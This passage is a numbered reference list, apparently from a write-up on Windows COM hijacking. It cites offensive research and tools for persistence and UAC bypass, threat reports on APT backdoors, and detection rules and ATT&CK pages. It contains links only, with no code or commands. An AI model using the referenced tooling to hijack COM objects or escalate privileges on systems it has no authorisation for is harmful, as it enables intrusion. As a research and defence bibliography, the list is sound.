[8] Get-ScheduledTaskComHandler.ps1 — enigma0x3 — https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
[9] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[10] Persistence Part 2 COM Hijacking — Dominic Chell / MDSec (2019) — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
[11] Proxying COM For Stable Hijacks — leoloobeek (2019) — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/
[12] COMProxy — leoloobeek — https://github.com/leoloobeek/COMProxy
[13] acCOMplice (COMHijackToolkit) — David Tulis / NCC Group (DerbyCon 9) — https://github.com/nccgroup/Accomplice
[14] COM-Hunter — @nickvourd + @S1ckB0y1337 — https://github.com/nickvourd/COM-Hunter
[15] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
[16] New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike (2025) — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
[17] Hijacked and Hidden: New Backdoor and Persistence Technique — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
[18] Turla's Unique Outlook Backdoor — ESET (2018) — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/
[19] "Cyber Conflict" Decoy Document (Sednit/APT28) — Cisco Talos — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
[20] UNC2529: Triple Double: Trifecta Phishing Campaign — FireEye/Mandiant (2021) — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
[21] Beyond good ol' Run key, Part 84 — Hexacorn (2018) — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
[22] COM-Object-hijacking — 3gstudent — https://github.com/3gstudent/COM-Object-hijacking
[23] Use COM Object hijacking to maintain persistence: Hijack Outlook — 3gstudent — https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
[24] COM Hijacking — HackTricks — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html
[25] Persistence COM Hijacking — pentestlab (2020) — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
[26] oleviewdotnet — James Forshaw — https://github.com/tyranid/oleviewdotnet
[27] SharpDllProxy — Flangvik — https://github.com/Flangvik/SharpDllProxy
[28] UACME — hfiref0x — https://github.com/hfiref0x/UACME
[29] Atomic Red Team T1546.015 — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
[30] EVTX-ATTACK-SAMPLES — sbousseaden — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
[31] registry_set_persistence_com_key_linking.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
[32] registry_set_treatas_persistence.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
[33] SigmaHQ registry_set rules directory — SigmaHQ — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
[34] persistence_suspicious_com_hijack_registry.toml — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
[35] COM Objects Hijacking — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
[36] Eventvwr UAC Bypass — Splunk — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
[37] APT28 (G0007) — MITRE ATT&CK — https://attack.mitre.org/groups/G0007/
[38] ComRAT (S0126) — MITRE ATT&CK — https://attack.mitre.org/software/S0126/
[39] Registration-Free COM Interop — Microsoft — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop